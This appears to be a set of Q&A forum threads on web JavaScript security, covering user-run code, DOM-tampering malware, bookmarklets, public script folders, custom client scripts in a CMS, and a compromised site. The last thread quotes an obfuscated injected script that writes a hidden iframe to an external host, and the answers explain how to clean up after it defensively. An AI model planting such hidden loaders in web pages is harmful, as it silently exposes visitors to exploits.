I have a feature on my website where users can run some code they write against some test cases (similar to leetcode). However, I am concerned by allowing such a feature I am allowing malicious users to write code that will break the site. Is there any workaround to this, and is it even something worth stressing over?
For context:
This is a very small feature and not at all the primary function of the website.
The website has no backend of sorts (no token storage, or user specific data)
Since data doesn't get transferred to other users, or even from a user to the site, it should be fine. Nothing to worry about, since any "malicious" code someone writes will only affect their machine - and if you perform common-sense checks and they happen to break some functionality of your site anyway, that's on them, not on the site.
Anyone on the internet can already go to any site and open up the console and type in and run whatever code they want, but that in itself isn't an issue for the site to worry about.
Related
Is there a way to detect if the HTML DOM is being modified by malware on the end user's system? I have a HTTPS protected website and recently encountered a support call where the user was seeing advertisements in my website. I have no ads in my website and we ended up running an anti virus scan on the end user's system which found and cleaned many infections after which the ads disappeared. I am unfortunately unable to provide any code samples because I don't even know where to start.
It is possible to detect DOM modifications using MutationObservers (supported by all major vendors).
It might be hard to detect which modification are malicious and which are not, though.
Perhaps something to look into: depending on how the malware works, you might be able to prevent the insertion (or at least execution) of script tags. This might stop naive malware but it's a cat and mouse game.
When it comes down to it, you cannot control what happens on a computer you don't control. Sufficiently advanced malware will detect your attempt to detect it and will lie to you about the results.
that said, there are some techniques you can apply to try and make it harder for the attacker.
write your own code that knows what the that knows what your dom is supposed to look like. attacker will stop your code from running.
update the code so that interacts with your application server every so many seconds. attacker will duplicate this piece of the code and stop the original check from running.
update your code to perform a complex operation that requires a minimum known amount of time. the attacker will respond same as above
intermingle your checking code with your business logic and obfuscate everything. the attacker can create their own UI that interacts with your server and show that instead of your ui
now, just because you're on the losing side of the battle, that doesn't mean it is useless. it really depends upon who might be attacking your server, and how many resources they want to spend on the arms race with you compared to how many resources you want to spend against them
I am building a tool which uses (dynamically inserted) JavaScript to modify webpages. Any webpage.
The idea is to allow a user to use it to record a series of changes to an existing webpage like google.com, (for the sake of example suppose a change is to apply a 10 pixel solid black border to all <img> tags, this change can obviously be encoded as a short and sweet snippet of jQuery), and the tool generates a link (or identifier) that contains this metadata and the url representing the "starting point" if you will (in this case google.com).
Now the problem I've run into is the entire Same-Origin security policy, whose purpose is to expressly deny the exact kind of thing that it seems like I need to do.
What I need to do is essentially navigate to a particular site, and then execute javascript in the context of that site. Neither I (the author of the tool) nor the user with whom I share my script necessarily have control over the site, so in theory the security model if implemented properly should prevent this concept from working.
Because of this I cannot have a single clickable link that kicks off the process of running my code on some site. It totally makes sense too. It would make it trivial for an attacker site to send a disguised clickable link that will run code that acts as me on any site they want.
But, the way to get around it is to tell the recipient to do a single additional step. First they open the URL of the site just like normal, then they paste a bit of javascript:(function(){.....})(); into the URL/omni bar. That is (AFAICT) completely legitimate and should be permissible because the user understands that this script is being executed. Whether or not it should be allowed to run JS so easily at this point is more or less irrelevant, as it basically just works everywhere now.
This isn't too bad but I think the user experience suffers unnecessarily. For example it looks like a native app would be necessary to get any better than pasting the JS into the URL bar on an iOS device for example, but on a plugin-accepting full browser it seems like a plugin can achieve what I want.
Which is: a navigation to an arbitrary URL followed by code execution (this code originating from an authorized source) with one click.
But I'm not sure where to start. What API could provide me this ability? I am hoping I can get away with Greasemonkey-type scripting (as Greasemonkey compatible plugins are available for pretty much all the good browsers), but I can't tell if there is enough power available.
I am actually still a little unsure about security related problems with this. I used to have a huge paragraph here but it all boils down to "social engineering".
This kind of things are generally done with bookmarklets.
On your website featuring your script, create a link that has href="javascript:(function(){/* ... */})()". Then a user could simply drag and drop that link into his favourites (bookmark it). And use it as button in a favourites bar.
Your bookmarklet could contain directly your script, or a simple loader that injects a <script src=http://mywebsite.com/script.js"> tag into the document, this way you can update your script and "distribute" it directly to all users.
Security is always about knowledge. Or to put it the other way around: Not knowing something makes you feel insecure.
There is no secure way to do what you want which is my web browsers forbid it by default. There are workarounds (like pasting the URL as you explained above) but all of them are only secure as long as the user knows what she is doing.
That being the social implications. Now the technical solutions:
You try a bookmarklet
You can use a browser plugin like Greasemonkey
Both allow to run arbitrary JavaScript. The former needs explicit permission from the user each time, the later one does it automatically.
Of course, if you move the core of the functionality to a remote place, it would be hard for even knowledgeable users like me to understand and trust what is going on.
That is when the meat of the function isn't in the bookmarklet or the greasemonkey script and when you instead add a <script> tag with a remote URL. That would make it harder to make sure your script doesn't do something "odd". For example, you could return a different script when I try to download the JavaScript without using your bookmarklet.
In my .NET web applications I usually have a Scripts folder that contains all of my JavaScript files - jQuery mostly these days, with the occasional JavaScript library of some sort or another.
I'm running vulnerability scans against one of my websites through a scanner called Nexpose, and it informed me that the Scripts folder is open to the world - meaning unauthenticated users can download the JavaScript files contained in the folder and that this is a critical vulnerability. According to Nexpose, the Scripts folder should be restricted to only allow authenticated users to access it. Which leads me to my first question.
How do I restrict the Scripts folder to only authenticated users? I tried placing a web.config file into the Scripts folder and denying access to all unauthenticated users that way, but it didn't work. I was able to determine this myself but going to my website's login page, but not logging in, and then typing https://mywebsite/scripts/menubar.js and sure enough it allowed me to download the menubar.js file.
Second question - Why is this considered a vulnerability? I've tried to reason my way through the possibilities here, but I've failed to come up with much at all. Is it a vulnerability simply because Joe the l33t h4x0r could figure out the various libraries that I'm using and then maybe use known exploits against them?
Update
Overwhelmingly the answer seems to be that in no way should a vulnerability exist just because a .js file can be opened and read on the client's browser. The only vulnerability that might exist would be if the developer were using the .js file in an insecure fashion of some sort (which I'm not).
Logically, you wouldn't want to actually disallow access to the actual files because then you couldn't use them in your webpage. The webserver makes no distinction between a browser requesting a file as part of the process of rendering a webpage versus someone just manually downloading the file.
As a result, the answer to your first question is: you can't and wouldn't want to. If you don't want users to access take it out of the web folder. If it's required to render your site, then you want anyone to have access to it so your site can render properly.
As to why it's considered a vulnerabiliy, who's saying it is? I can go pull any JavaScript Facebook uses right now. Or, more to the point, I could go to Bank of America or Chase's website and start looking through their JavaScript. If I had an account, I could even take a look at the JavaScript used once the user is logged in.
The only thing that you might need to worry about is the same thing you always need to worry about: exposing details that shouldn't be exposed. I'm not sure why you would, but it obviously wouldn't be a good idea to put your database password in a JavaScript file, for example. Other than things like that, there's nothing to worry about.
In most cases it's not a vulnerability. Consider all of the massive public sites with anonymous traffic and/or where it's very easy to become an authenticated user (Google, eBay, Amazon, etc.) These sites also have some of the most elaborate scripts.
The more subtle thing to watch out for are other files which you DO want protected. For example, if users must login to your site and purchase a document, video, image, etc. before viewing it, it certainly should not be in a publicly accessible folder.
Yes. You should keep most of your processing to be done server-side, as most (if not all) client-side scripts can be edited, and such. Most sites use Javascript, so simply using it isn't dangerous, you just have to be careful about what you do with it.
Also, to answer your first question, don't protect them if unauthenticated users need them too.
Sounds like some security suite has an itchy trigger finger. The only two problems I could see is that you could end up loaning your server out as a CDN if someone chooses to point to your jQuery or your -insert library name here- OR (now this is a real security risk) if you are also serving any kind of dynamic .js files out of there that could pose a potential threat. The only other thing I can think of is if you have your "custom" app js in the mix with all the libraries someone could potentially discover your endpoints (web services and such) and try and see if they're secure... but that's it! nothing more... (unless you did something really dumb like hard code a password or something in there... lol)
So the attack isn't that people can edit the script the attack is getting the web server to arbitrarily write to a directory. What you need to do is make sure they are read-only files. chmod 400 or windows read. In terms of Defense in Depth (DiD) you want to make sure the web server is a non-privileged user that cannot log into the system. Further what needs to occur is that you are doing all data sanitization on the server, irrespective of what you are doing on client side, because you do not control the client side. Typically this involves making sure that you cleanse all data coming from the web as well as the database before it gets served. One of my favorite things to do is insert arbitrary javascript into the database and watch it do things in the UI because the development team assumed everything would be fine since they already cleaned it once.
I can provide more details around securing the system if it is warranted.
Question: What precautions should I take when I let clients add custom JS scripts to their pages?
IF you want more details:
I am working on a custom CMS like project for a company, The CMS has number of "groups" that each subscriber "owns" where they do their own thing.
The new requirements is that some groups want to add google analytics to see how they are doing. So I naturally added a column in the table and made code adjustements so if there is some data in that column, I just use the following line in master page to set the script out:
ScriptManager.RegisterClientScriptBlock(Page, typeof(Page), "CustomJs", CustomJs, true);
It works just fine, only, It got me thinking...
It's really easy for someone with good knowledge of how to access cookies etc from from js. Sure, each group is moderated and only super admin can add this javascript, sure, they wouldn't be silly enough to hack their own group. Each group has their own code so its not possible to hack other groups BUT STILL
I am not really comfortable in letting user's add their own javascript codes.
I could monitor each group myself, but the groups are growing really quick and I will hit a time when I will no longer be able to do that.
So, to brief it up: What precautions should I take to avoid any mishaps ?
ps: did try to google, no convincing answers anywhere.
Instead of allowing the users to add their own Javascript files, and given that the only requirement here is for google analytics, why not just let them put their analytics ID into the CMS and if it's present, output the relevant Google Analytics code?
This way you fulfill the users requirement and also avoid the need to protect against malicious scripting.
Letting users use Javascript is in general, a very bad idea. Don't do it unless you have to.
I once I had a problem where I need to let clients use Javascript, but, the clients weren't necessarily trusted, so, I modified cofeescript so that only a small subset was compilable to javascript, and it worked pretty well. This may be waaaay too overkill for you.
You should not let your users access cookies, that's always a pain. Also, no localStorage or webSQL if you're one of the HTML5 people, and, no document.write() because that's another form of eval as JSLint tells you.
And, the problem with letting people have javascript is that even if you believe you have trusted users, someone may get a password, and you don't want that person to get access to all the other accounts in the group.
Automatically recognizing whether some JavaScript code is malicious or sandboxing it is close to impossible. If you don't want to allow hacking your site you are left with only few options:
Don't allow users to add JavaScript at all.
Only allow predefined JavaScript code, e.g. for Google Analytics.
Have all custom JavaScript inspected by a human before it is allowed to display on the site. Never trust scripts loaded from third party sites - these can change from one day to another and turn malicious.
If you have no other choice, you may consider separating path/domain of user javascripts (and cookies).
For example your user have page:
user1.server.com
and you keep user pages at
user1.server.com
So, if you set session cookies to the user1.server.com, it'll render them unobtainable for user scripts from other domains (e.g. user2.server.com).
Another option may be executing all user's javascript at server JS engine (thus controlling all it's I/O and limiting access to browser resources).
There is no simple and easy solution anyway, so better consider using options from other answers (e.g. predifined script API, human inspection).
I have a website, and I just discovered that somehow someone injected JavaScript on my page. How can I figure out what it does and how they did it?
<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\"
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>
Which I'm not sure how got there. Anyone know how it got there? and what I can do to remove it?
You need to know this now:
We see this at Linode quite a bit, and it's an indication that your server has been compromised by an attacker. When unescaped, it's likely to be a browser exploit that will infect your users, or a link to a spam site.
Save everything with the injected code for later analysis, and redeploy your entire server and Web stack immediately. The attacker undoubtedly has at least a shell on your box, and that will inevitably lead to root if he's crafty.
Redeploy now, keep your applications up to date, stop writing exploitable PHP, and lock down your user accounts with strong passwords or SSH keys. Not trying to pimp my company or anything, but this is such a common occurrence on poorly-managed Web boxen that we've written an article about how to completely redeploy from scratch. I suggest it several times a day.
EDIT: If you're downvoting me, please say why -- I've triaged three cases with this exact code, so I'm not making things up.
EDIT 2: There is one regard where I may be overestimating the situation, and it's only because I'm an employee of a VPS company (and I see this a lot). I made a mistake in assuming that this user's "Web host" was a server under his control, not shared hosting. That was a mistake, but there still is the chance that I'm right.
Compromise is a desperate situation where working in the dark can have disastrous consequences. If you do not know why an unauthorized party gained access to your infrastructure, you cannot rectify the problem. Since everyone assumed we're talking about managed, shared hosting here -- there is the chance that you're right and XSS is to blame. Again, the question was not presented with much data, and compromise is a situation that is not treated with enough gravity among developers in general.
I'm honestly tired of tickets that we open where a box is hitting another on the Internet with SSH probes, DoS data, URL injection, or anything for that matter -- and the Rails or PHP developer administering the box has no idea why it happened or what he can do about it. These are all things that indicate system compromise, not XSS. Therefore, my assumption that this was a server under the OP's control was misplaced, but it's forgivable (I hope) because I'm at work right now, handling those tickets.
If you'd like me to delete my answer, just say so, but I don't see any others getting votes.
Since you mentioned PHP, I'll run through a list of possible ways it could have happened. This list is not all-inclusive; but it will allow you to do a fair amount of investigation into what happened.
It's possible your web host was hacked and this was placed into your page through lax security on their part. However, do not assume this is the case. This should be your last resort.
It's probably your fault. I don't say this to point blame; but the sooner we developers realize we're the cause of our problems, the better off we'll all be. The only developer I don't trust is the one that says he doesn't make mistakes.
Your site was probably hit with an XSS attack.
Do you have any way for a user to type in information on your website? Do you use any textboxes or anything that would allow input from the user?
If so, then your site is vulnerable to XSS and other attacks. Here's a 'cheat-sheet' that will tell you general things you can do to mitigate this.
You should not allow any user data to pass to the database without being parametrized.
If you're going to allow a user to insert HTML, then you need to sanitize it.
Don't use magic quotes.
There are many ways this could have happened, but without more information, I'm going off of what you've written.
Steps:
Take the app offline.
Query your database to see how many pages / entries this has been injected into.
Check through your code for the things I mention.
Fix those.
Go through your database and take out any suspect lines (a SQL script would be easiest).
Re-deploy App.
Make sure you keep an eye on your webserver logs. They're a godsend to determining where the attack came from.
Are you using any 3rd party applications that have security holes? For example, a while back we had an issue with an old version of FCK editor, set up in the default location with all the samples folders in place that were being used to upload bad files.
The obfuscated part unescapes to "t.cn/vid"
As I see your pages are been injected in code, so this was done because there is a security hole in your server or in any application running on it. The hacker has writing capabilities to your scripts and the solution can be so easy as changing your FTP password or so complex as searching for a hole in any application installed in your server.
But first try to change your FTP password, Change it by a very hard to guess one, at least 12 characters long with any special character on it. I have heard that there was a brute force attack being directed from russian hackers that was injecting scripts in the headers of the pages to redirect the users to any other sites for any obscure purpose.
It's less likely that this was done through your own code (since the code, nor the possible exploits for this are usually not widely known -- but that's obviously no reason not to secure it), but do a check for common but outdated apps (WordPress, Drupal, ...) on your account.
I've encountered something similar a few days ago, it turned out that there was an old WordPress (v2.0 I think) blog installed through which they could gain access.
If you can, also check your server logs for the time that your PHP files on the server were last modified. In my case, it gave a clear record of how they entered and what to do against it.